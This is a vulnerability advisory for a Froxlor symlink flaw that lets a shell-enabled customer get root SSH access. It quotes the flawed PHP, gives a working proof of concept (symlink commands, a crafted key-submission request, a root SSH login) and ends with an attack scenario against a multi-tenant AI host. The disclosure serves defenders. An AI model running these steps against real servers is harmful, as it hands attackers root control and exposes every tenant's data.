CVE-2026-41236: Froxlor: symlink-following grants customer root SSH access

### Summary Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link. If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access. ### Details The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`: ```php // customer_ftp.php:251-253 if ($action == 'add' && Request::post('send') == 'send') { $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key"); Commands::get()->apiCall('SshKeys.add', Request::postAll()); } ``` On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level: ```php // lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145 if ($this->getUserDetail('shell_allowed') != '1') { throw new Exception("You cannot add SSH keys because shell access is disabled for your account."); } $ins_stmt = Database::prepare(" INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`. "); Settings::AddTask('rebuildnssusers'); ``` Later, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation: ```php // lib/Froxlor/Cron/System/SshKeys.php:52-64 $sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh'); $authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys'); if (!file_exists($authkeysfile)) { touch($authkeysfile); } ``` The helper used here only normalizes the path string and does not resolve or reject symlinks: ```php // lib/Froxlor/FileDir.php:376-392 public static function makeCorrectFile(string $file): string { $file = str_replace('//', '/', $file); $file = str_replace('\\', '', $file); return $file; } ``` The root-owned sync code then appends attacker-controlled SSH key material to the derived path: ```php // lib/Froxlor/Cron/System/SshKeys.php:94-103 file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX); chown($authkeysfile, $userinfo['uid']); chgrp($authkeysfile, $userinfo['gid']); ``` Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs. ### PoC An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report. Relevant runtime prerequisites: - the attacker controls a customer-owned home directory on the target host - the attacking customer has `shell_allowed=1` - the attacker can submit SSH keys through the Froxlor panel - Froxlor's master cron runs with the intended root privileges Complete PoC flow: 1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory: ```bash mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys ``` 2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user: ```http POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded Cookie: <authenticated customer session> csrf_token=VALID_CSRF_TOKEN& send=send& description=poc& ftpuser=17& ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host ``` 3. Wait for Froxlor's master cron to process the queued `REBUILD_NSSUSERS` task. 4. Use the corresponding private key to authenticate as root: ```bash ssh -i id_ed25519 root@target.example ``` Result: - the root-owned cron task follows the symlinked `authorized_keys` path - the submitted public key is appended to `/root/.ssh/authorized_keys` - SSH access as `root` succeeds with the attacker's key pair ### Impact This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

An adversary purchases or compromises a shell-enabled customer account on a Froxlor-managed hosting provider that runs AI workloads for multiple tenants. Using their legitimate shell access they execute `mkdir -p ~/.ssh && rm -f ~/.ssh/authorized_keys && ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys`. They then authenticate to the Froxlor customer panel and submit an attacker-controlled SSH public key for their FTP user — a completely normal, permitted action. Froxlor queues a REBUILD_NSSUSERS cron task. Within the next cron interval, the root-owned synchronization daemon calls `file_put_contents()` on what it computes as the customer's authorized_keys path, which is actually a symlink to /root/.ssh/authorized_keys. The attacker's key is appended. The attacker then SSHes as root, gaining full control of all hosted AI models, training data, inference secrets, and every co-tenant's data on the same physical host.